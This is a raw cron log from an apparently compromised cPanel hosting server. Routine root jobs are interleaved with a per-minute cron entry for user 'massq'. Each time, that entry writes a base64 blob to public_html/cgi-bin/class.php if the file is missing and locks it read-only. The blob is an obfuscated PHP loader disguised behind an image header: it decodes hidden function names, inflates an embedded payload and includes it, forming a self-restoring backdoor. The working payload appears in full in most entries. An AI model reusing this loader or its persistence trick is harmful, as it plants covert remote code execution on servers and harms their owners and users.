Sep 12 23:53:01 server CROND[9935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:54:01 server CROND[10382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:54:01 server CROND[10381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:54:01 server CROND[10383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:55:01 server CROND[10770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:55:01 server CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:55:01 server CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:55:01 server CROND[10784]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:55:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:55:01 server CROND[10783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:55:01 server CROND[10785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:56:01 server CROND[11755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:56:01 server CROND[11756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:56:01 server CROND[11757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:57:01 server CROND[12226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:57:01 server CROND[12227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:57:01 server CROND[12228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:57:01 server CROND[12229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:58:01 server CROND[12645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:58:01 server CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:58:01 server CROND[12653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:59:01 server CROND[13022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:59:01 server CROND[13024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:59:01 server CROND[13025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:00:01 server CROND[13575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:00:01 server CROND[13574]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep 13 00:00:01 server CROND[13576]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 13 00:00:01 server CROND[13579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:00:01 server CROND[13585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:00:01 server CROND[13589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:00:01 server CROND[13587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:00:01 server CROND[13592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:00:01 server CROND[13601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:00:01 server CROND[13602]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 13 00:00:01 server CROND[13600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:01:01 server CROND[14494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:01:01 server CROND[14495]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 00:01:01 server CROND[14497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:01:01 server CROND[14498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:01:01 server run-parts(/etc/cron.hourly)[14495]: starting 0anacron
Sep 13 00:01:01 server anacron[14514]: Anacron started on 2026-09-13
Sep 13 00:01:01 server anacron[14514]: Normal exit (0 jobs run)
Sep 13 00:01:01 server run-parts(/etc/cron.hourly)[14519]: finished 0anacron
Sep 13 00:02:01 server CROND[14877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:02:01 server CROND[14879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:02:01 server CROND[14878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:03:01 server CROND[15248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:03:01 server CROND[15249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:03:01 server CROND[15250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:04:01 server CROND[15673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:04:01 server CROND[15674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:04:01 server CROND[15675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
